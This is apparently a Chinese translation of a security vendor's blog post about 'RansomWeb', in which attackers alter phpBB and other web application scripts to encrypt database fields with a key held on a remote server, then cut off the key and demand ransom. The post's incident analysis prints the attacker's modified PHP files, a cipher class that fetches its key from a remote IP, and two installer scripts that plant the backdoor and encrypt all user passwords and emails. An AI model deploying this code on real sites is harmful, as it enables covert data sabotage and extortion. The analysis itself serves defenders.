RansomWeb:一種新興的web安全威脅
0x00 前言
目前越來(lái)越多的人成為勒索軟件的受害者,惡意軟件會(huì)加密你的計(jì)算機(jī)直到你愿意交保護(hù)費(fèi),最新的趨勢(shì)發(fā)現(xiàn),網(wǎng)站已經(jīng)成為犯罪分子的攻擊目標(biāo),犯罪軟件會(huì)加密你的數(shù)據(jù)庫(kù)直到你付錢。
0x01 守候
2014年12月我們的安全專家在一個(gè)理財(cái)網(wǎng)站上發(fā)現(xiàn)一個(gè)很有趣的案例:網(wǎng)站一直顯示無(wú)法連接數(shù)據(jù)庫(kù),而網(wǎng)站管理員收到一封勒索郵件,“給錢,然后我們會(huì)給你數(shù)據(jù)庫(kù)解鎖”。
遇到這種類型攻擊的網(wǎng)站都是一些小型站點(diǎn),但是公司的重點(diǎn)業(yè)務(wù)運(yùn)營(yíng)都是圍繞網(wǎng)站進(jìn)行了,停了分分鐘幾萬(wàn),chinese一點(diǎn)地話來(lái)說(shuō),“互聯(lián)網(wǎng)公司”。
我們認(rèn)真的進(jìn)行了調(diào)查,發(fā)現(xiàn)一下幾點(diǎn)特點(diǎn):
1 web應(yīng)用程序在半年前被入侵,攻擊者修改了一些需要進(jìn)行數(shù)據(jù)庫(kù)操作的腳本,在插入數(shù)據(jù)時(shí)對(duì)數(shù)據(jù)進(jìn)行加密,在查詢數(shù)據(jù)時(shí)對(duì)數(shù)據(jù)進(jìn)行解密。整個(gè)過(guò)程 用戶沒(méi)有感到任何異樣。
2 只對(duì)關(guān)鍵的數(shù)據(jù)庫(kù)表被進(jìn)行加密,將對(duì)網(wǎng)站性能的影響降到了最低,并且加密了之前被存入的數(shù)據(jù)庫(kù)記錄。
3 加密密鑰被儲(chǔ)存在遠(yuǎn)程服務(wù)器上,只能通過(guò)https訪問(wèn)(一定可能性是為了防止被攔截)
4 在這6個(gè)月,黑客默默地守候著網(wǎng)站,當(dāng)一些升級(jí)和運(yùn)維行為時(shí)對(duì)服務(wù)器進(jìn)行備份。
5 在xxx天后,黑客關(guān)閉遠(yuǎn)程服務(wù)器,同時(shí)網(wǎng)站停止服務(wù),and收到一封飽含著愛(ài)意的惡意郵件。
0x02 另一個(gè)案例
我們一開始相信這是一個(gè)針對(duì)部分公司進(jìn)行的apt行為,屬于一個(gè)特殊的個(gè)別案例,不過(guò)后來(lái)發(fā)現(xiàn)我們錯(cuò)了,上周我們又發(fā)現(xiàn)一個(gè)相似的例子,來(lái)自我們的另一個(gè)客戶。他收到了一個(gè)勒索郵件……在他的phpbb論壇失靈之后。對(duì)于客戶來(lái)說(shuō)這個(gè)phpBB是一個(gè)非常重要的平臺(tái),版本還是2014年11月25日發(fā)布的phpBB 3.1.2 最新版。
最早問(wèn)題來(lái)之于當(dāng)時(shí)沒(méi)有一個(gè)用戶可以登錄論壇,包括版主和管理員,用戶的認(rèn)證功能已經(jīng)失效,在我們的調(diào)查下發(fā)現(xiàn),登錄時(shí)需要的密碼和郵箱驗(yàn)證在插入數(shù)據(jù)庫(kù)的時(shí)候經(jīng)過(guò)了一次加密。
我們發(fā)現(xiàn)下列文件遭到了修改。
1. factory.php
函數(shù)sql_fetchrow()遭到了修改,在進(jìn)行sql查詢
- $result = $this->get_driver()->sql_fetchrow($query_id);
password 和 email字段會(huì)經(jīng)過(guò)一次解密。
- if(isset($result['user_password'])){
- $result['user_password'] = $cipher->decrypt($result['user_password']);
- }
- if(isset($result['user_email'])){
- $result['user_email'] = $cipher->decrypt($result['user_email']);
- }
2. functions_user.php
函數(shù) user_add 經(jīng)過(guò)修改之后 添加數(shù)據(jù)時(shí)會(huì)被加密
- $sql_ary = array(
- 'username'=>$user_row['username'],
- 'username_clean' => $username_clean,
- 'user_password' => (isset($user_row['user_password']))?
- $cipher->encrypt($user_row['user_password']):$cipher->encrypt(''),
- 'user_email'=> $cipher->encrypt(strtolower($user_row['user_email'])),
- 'user_email_hash'=> phpbb_email_hash($user_row['user_email']),
- 'group_id' => $user_row['group_id'],
- 'user_type' => $user_row['user_type'],
- );
3. cp_activate.php
main 函數(shù)遭到修改
- $sql_ary = array(
- 'user_actkey' => '',
- 'user_password' => $cipher->encrypt($user_row['user_newpasswd']),
- 'user_newpasswd' => '',
- 'user_login_attempts' => 0,
- );
4. ucp_profile.php
main函數(shù)
- if (sizeof($sql_ary))
- {
- $sql_ary['user_email'] = $cipher->encrypt($sql_ary['user_email']);
- $sql_ary['user_password'] = $cipher->encrypt($sql_ary['user_password']);
- $sql = 'UPDATE ' . USERS_TABLE . '
- SET ' . $db->sql_build_array('UPDATE', $sql_ary) . '
- WHERE user_id = ' . $user->data['user_id'];
- $db->sql_query($sql);
5. config.php
- class Cipher {
- private $securekey, $iv;
- function __construct($textkey) {
- $this->securekey = hash('sha256',$textkey,TRUE);
- $this->iv = mcrypt_create_iv(32);
- }
- function encrypt($input) {
- return base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256,
- $this->securekey, $input, MCRYPT_MODE_ECB, $this->iv));
- }
- function decrypt($input) {
- return trim(mcrypt_decrypt(MCRYPT_RIJNDAEL_256,
- $this->securekey, base64_decode($input), MCRYPT_MODE_ECB, $this->iv));
- }
- }
- $key=file_get_contents('https://103.13.120.108/sfdoif89d7sf8d979dfgf/
- sdfds90f8d9s0f8d0f89.txt');
- $cipher=new Cipher($key);
一個(gè)值得注意的是,我們發(fā)現(xiàn)黑客留下的兩個(gè)可以自動(dòng)化安裝后門的腳本,可以對(duì)任意phpbb論壇植入后門程序,只需要幾下點(diǎn)擊,第一個(gè)修改 “config.php” 添加 cipher類在腳本中,其中可以看到 儲(chǔ)存在遠(yuǎn)程服務(wù)器上的密鑰。
安裝文件
- <?php
- $file = '../config.php';
- $txt = "\n".'class Cipher {
- private $securekey, $iv;
- function __construct($textkey) {
- $this->securekey = hash(\'sha256\',$textkey,TRUE);
- $this->iv = mcrypt_create_iv(32);
- }
- function encrypt($input) {
- return base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256,
- $this->securekey, $input, MCRYPT_MODE_ECB, $this->iv));
- }
- function decrypt($input) {
- return trim(mcrypt_decrypt(MCRYPT_RIJNDAEL_256,
- $this->securekey, base64_decode($input), MCRYPT_MODE_ECB, $this->iv));
- }
- }
- $key=file_get_contents(\'https://103.13.120.108/sfdoif89d7sf8d979dfgf/
- sdfds90f8d9s0f8d0f89.txt\');
- $cipher=new Cipher($key);'."\n";
- if( FALSE !== file_put_contents($file, $txt, FILE_APPEND | LOCK_EX)){
- echo "DONE!";
- };
第二個(gè)安裝文件加密所有用戶的email和password,并替換上述文件。
- <?php
- define('IN_PHPBB', true);
- $phpbb_root_path = (defined('PHPBB_ROOT_PATH')) ? PHPBB_ROOT_PATH : '../';
- $phpEx = substr(strrchr(__FILE__, '.'), 1);
- include($phpbb_root_path . 'common.' . $phpEx);
- include($phpbb_root_path . 'includes/functions_display.' . $phpEx);
- $sql = 'SELECT user_id, user_password, user_email FROM ' . USERS_TABLE;
- $result = $db->sql_query($sql);
- while ($row = $db->sql_fetchrow($result))
- {
- $sql2 = 'UPDATE ' . USERS_TABLE . '
- SET
- user_password = "'.$cipher->encrypt($row['user_password']).'",
- user_email = "'.$cipher->encrypt($row['user_email']).'"
- WHERE user_iduser_id = '.$row['user_id'];
- $result2 = $db->sql_query($sql2);
- }
- echo "SQL UPDATED!<br>";
- copy('factory.php', '../phpbb/db/driver/factory.php');
- copy('functions_user.php', '../includes/functions_user.php');
- copy('ucp_activate.php', '../includes/ucp/ucp_activate.php');
- copy('ucp_profile.php', '../includes/ucp/ucp_profile.php');
- echo "FILES UPDATED!”;
接著攻擊者等待兩個(gè)月,就從遠(yuǎn)程服務(wù)器中取出密鑰。
0x03 結(jié)論
我們稱這種攻擊為RansomWeb , 我們做了一個(gè)簡(jiǎn)要的分析:
RansomWeb的特點(diǎn)
1、與ddos不同,這種攻擊會(huì)對(duì)網(wǎng)站的可用性造成長(zhǎng)時(shí)間的巨大影響。
2、不僅可以用于勒索,還可以用于其他很多用途。
3、不給錢想從攻擊中恢復(fù)很困難。
RansomWeb的弱點(diǎn)
1、做下文件監(jiān)控就好了
2、在不對(duì)網(wǎng)站造成影響的情況下加密極其困難。
3、定期檢測(cè)更新
原文地址:https://www.htbridge.com/blog/ransomweb_emerging_website_threat.html